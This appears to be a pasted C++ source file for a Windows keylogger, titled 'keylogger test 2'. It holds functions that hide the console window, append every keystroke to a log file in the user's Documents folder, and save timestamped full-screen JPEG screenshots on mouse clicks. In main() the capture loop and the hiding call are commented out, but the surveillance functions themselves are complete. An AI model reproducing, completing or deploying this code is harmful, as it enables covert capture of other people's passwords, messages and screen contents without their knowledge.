1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191
|
// keylogger test 2.cpp : Defines the entry point for the console application.
//
#include "stdafx.h"
#include <iostream>
#include <windows.h>
#include <Winuser.h>
#include <GdiPlus.h>
#include <time.h>
#include <Lmcons.h>
using namespace std;
void stealth ();
int save (int key_stroke, char *file);
void gdiscreen();
int GetEncoderClsid(const WCHAR* format, CLSID* pClsid);
void getPcName();
int main()
{
//stealth ();
wchar_t pcName [20];
DWORD size = sizeof ( pcName );
GetComputerName(pcName,&size);
cout<<pcName;
//wchar_t directory[200];
//wsprintfW(directory, L"C:/Users/%s/Documents/keylogger" ,pcName);
//CreateDirectory (directory, NULL);
//wsprintfW(directory, L"C:/Users/%s/Documents/keylogger/data" ,pcName);
//CreateDirectory (directory, NULL);
//wsprintfW(directory, L"C:/Users/%s/Documents/keylogger/data/images" ,pcName);
//CreateDirectory (directory, NULL);
//char filename [200];
//sprintf_s(filename, "C:/Users/%s/Documents/keylogger/data/Log.txt" ,pcName);
//while(1==1)
{
//for (int keyValue = 0; keyValue < 256; keyValue++)
{
// if (GetAsyncKeyState(keyValue) ==-32767)
{
//save(keyValue, filename);
// break;
}
}
}
system ("PAUSE");
return 0;
}
void stealth ()
{
//hides the window
HWND stealth;
AllocConsole();
stealth = FindWindowA("consoleWindowClass", NULL);
ShowWindow(stealth, 0);
}
int save (int key_stroke, char *file){
if((key_stroke == 1) || (key_stroke == 2))
{
gdiscreen();
}
else
{
FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");
if(key_stroke == 18) fprintf(OUTPUT_FILE, "%s", "[ALT] ");
else if(key_stroke == 91) fprintf(OUTPUT_FILE, "%s", "[WINDOWS] ");
else if(key_stroke == 17) fprintf(OUTPUT_FILE, "%s", "[CONTROL] ");
else if(key_stroke == 16) fprintf(OUTPUT_FILE, "%s", "[SHIFT] ");
else if(key_stroke == 20) fprintf(OUTPUT_FILE, "%s", "[CAPS LOCK] ");
else if(key_stroke == 9) fprintf(OUTPUT_FILE, "%s", "[TAB] ");
else if(key_stroke == 36) fprintf(OUTPUT_FILE, "%s", "[HOME] ");
else if(key_stroke == 35) fprintf(OUTPUT_FILE, "%s", "[END] ");
else if(key_stroke == 46) fprintf(OUTPUT_FILE, "%s", "[DELETE] ");
else if(key_stroke == 33) fprintf(OUTPUT_FILE, "%s", "[PAGE UP] ");
else if(key_stroke == 45) fprintf(OUTPUT_FILE, "%s", "[INSERT] ");
else if(key_stroke == 34) fprintf(OUTPUT_FILE, "%s", "[PAGE DOWN] ");
else fprintf(OUTPUT_FILE, "%s", &key_stroke);
fclose(OUTPUT_FILE);
cout << key_stroke << endl;
}
return 0;
}
void gdiscreen()
{
using namespace Gdiplus;
GdiplusStartupInput gdiplusStartupInput;
ULONG_PTR gdiplusToken;
GdiplusStartup(&gdiplusToken, &gdiplusStartupInput, NULL);
{
wchar_t pcName [20];
DWORD size = sizeof ( pcName );
GetComputerName(pcName,&size);
SYSTEMTIME st;
GetLocalTime(&st);
wchar_t filename[200];
memset(filename,0,sizeof(filename));
wsprintfW(filename, L"C:/Users/%s/Documents/keylogger/data/images/%04d-%02d-%02d %02d-%02d-%02d_%03d.jpeg" ,pcName ,st.wYear, st.wMonth, st.wDay, st.wHour, st.wMinute, st.wSecond, st.wMilliseconds);
HDC scrdc, memdc;
HBITMAP membit;
scrdc = ::GetDC(0);
int Height = GetSystemMetrics(SM_CYSCREEN);
int Width = GetSystemMetrics(SM_CXSCREEN);
memdc = CreateCompatibleDC(scrdc);
membit = CreateCompatibleBitmap(scrdc, Width, Height);
HBITMAP hOldBitmap =(HBITMAP) SelectObject(memdc, membit);
BitBlt(memdc, 0, 0, Width, Height, scrdc, 0, 0, SRCCOPY);
Gdiplus::Bitmap bitmap(membit, NULL);
CLSID clsid;
GetEncoderClsid(L"image/jpeg", &clsid);
bitmap.Save(filename , &clsid);
SelectObject(memdc, hOldBitmap);
DeleteObject(memdc);
DeleteObject(membit);
::ReleaseDC(0,scrdc);
}
GdiplusShutdown(gdiplusToken);
}
int GetEncoderClsid(const WCHAR* format, CLSID* pClsid)
{
using namespace Gdiplus;
UINT num = 0; // number of image encoders
UINT size = 0; // size of the image encoder array in bytes
ImageCodecInfo* pImageCodecInfo = NULL;
GetImageEncodersSize(&num, &size);
if(size == 0)
return -1; // Failure
pImageCodecInfo = (ImageCodecInfo*)(malloc(size));
if(pImageCodecInfo == NULL)
return -1; // Failure
GetImageEncoders(num, size, pImageCodecInfo);
for(UINT j = 0; j < num; ++j)
{
if( wcscmp(pImageCodecInfo[j].MimeType, format) == 0 )
{
*pClsid = pImageCodecInfo[j].Clsid;
free(pImageCodecInfo);
return j; // Success
}
}
free(pImageCodecInfo);
return 0;
}
|